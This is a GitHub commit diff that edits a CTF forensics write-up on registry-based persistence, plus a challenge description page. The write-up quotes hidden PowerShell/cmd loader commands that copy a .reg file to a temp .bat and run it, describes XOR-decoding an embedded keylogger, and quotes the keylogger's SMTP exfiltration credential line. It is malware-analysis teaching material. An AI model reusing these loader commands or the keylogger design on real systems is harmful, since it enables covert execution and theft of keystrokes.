Skip to content

Commit cf3e8ef

Browse files
committed
.
1 parent 2349ee3 commit cf3e8ef

2 files changed

Lines changed: 7 additions & 7 deletions

File tree

content/ctfwriteups/persistentpopups.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ The reason we used this file to be able to read the registry keys of the current
2323

2424
Navigating to the specific path of the registry, we locate two very interesting registry keys:
2525

26-
![alt text](/posts/writeups/trojan2025/persistent-popups/image1.png)
26+
![alt text](/posts/writeups/trojan2025/persistent-popups/image2.png)
2727

2828
The first command is: `cmd.exe /c "powershell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x00002AE3} ^| select -ExpandProperty FullName -First 1; $bat = "%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"`
2929
The second command is: `cmd /c more +7 %temp%\tmpreg2.bat & %emp%\tmpreg2.bat`
@@ -34,11 +34,11 @@ Basically, they try to locate a file that has a `.reg` extention and copies some
3434

3535
To do so, we have to navigate to `Tools->File Search by Attributes` and search for `.reg`:
3636

37-
![alt text](/posts/writeups/trojan2025/persistent-popups/image1.png)
37+
![alt text](/posts/writeups/trojan2025/persistent-popups/image3.png)
3838

3939
Running the following command, we get back only 1 file with a `.reg` extention that also contains very suspicious data:
4040

41-
![alt text](/posts/writeups/trojan2025/persistent-popups/image1.png)
41+
![alt text](/posts/writeups/trojan2025/persistent-popups/image4.png)
4242

4343
We can right click on the file and extract it for further analysis.
4444
The data inside the registry file are:
@@ -69,7 +69,7 @@ rwweχφrwuyyyswvvyrWuvyyqWvveχζrWvve&qwvyfχξΐ
6969
We notice that the command tries to read the file from a specific offset, then xor with the key `0x77` and then run the result that is stored as an executable.
7070
By loading the `.reg` file onto Cyberchef and keeping only the bytes after the `exit`, if we xor with the byte `0x77` we will get the following executable:
7171

72-
![alt text](/posts/writeups/trojan2025/persistent-popups/image1.png)
72+
![alt text](/posts/writeups/trojan2025/persistent-popups/image5.png)
7373

7474
> Note: Copy and pasting bytes by hand might lead to invalid executable, so make sure to load the `.reg` file itself and then keep only the bytes you want to decrypt.
7575
@@ -84,7 +84,7 @@ Opening the file in ILSpy, we get that our program is a Keylogger! What it does
8484

8585
`smtpClient.Credentials = new NetworkCredential("cafim30443234@arinuse.com", "VHJvamFuezNtYjNkZDFuZ19rM3lsMGdnMzI1X3QwX3IzZ2YxbDM1fQ==");`
8686

87-
![alt text](/posts/writeups/trojan2025/persistent-popups/image1.png)
87+
![alt text](/posts/writeups/trojan2025/persistent-popups/image6.png)
8888

8989
The password part seems kinda sus, so by decoding from base64, we finally get our flag!
9090
```python

content/mychallenges.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -226,8 +226,8 @@ These will mostly be based on stuff I read along the way and felt like they woul
226226
<small>
227227
<details>
228228
<summary>
229-
It was a cloudy Sunday morning, and I was enjoying the soothing sounds of nature with a cold breeze hitting my window. After making some coffee, I sat at my PC and opened Stack Overflow, as I usually do. The first post I saw was about a code issue related
230-
</summary> to Bubble Sort. The code appeared flawless, but the user insisted that the problem was with VSCode, claiming the error was due to an unsupported version. The user seemed frustrated and offered a large bounty, so I decided to help. We continued the conversation in private messages. He mentioned a school project deadline for the next day and needed an urgent solution. He sent me the entire VSCode project, and I opened the .sln file to see if I could replicate the error. However, everything worked fine on my end, and I told him so. He didn't respond, and shortly after, the post was deleted. I felt scammed but moved on with my day. A week later, I noticed unusual activity on my machine. I have a suspicion it’s connected to that Bubble Sort project. Can you help?
229+
It was a cloudy Sunday morning, and I was enjoying the soothing sounds of nature with a cold breeze hitting my window. After making some coffee, I sat at my PC and opened Stack Overflow, as I usually do. The first post I saw was about a code issue
230+
</summary> related to Bubble Sort. The code appeared flawless, but the user insisted that the problem was with VSCode, claiming the error was due to an unsupported version. The user seemed frustrated and offered a large bounty, so I decided to help. We continued the conversation in private messages. He mentioned a school project deadline for the next day and needed an urgent solution. He sent me the entire VSCode project, and I opened the .sln file to see if I could replicate the error. However, everything worked fine on my end, and I told him so. He didn't respond, and shortly after, the post was deleted. I felt scammed but moved on with my day. A week later, I noticed unusual activity on my machine. I have a suspicion it’s connected to that Bubble Sort project. Can you help?
231231
</details>
232232
</small>
233233
</td>

0 commit comments

Comments
 (0)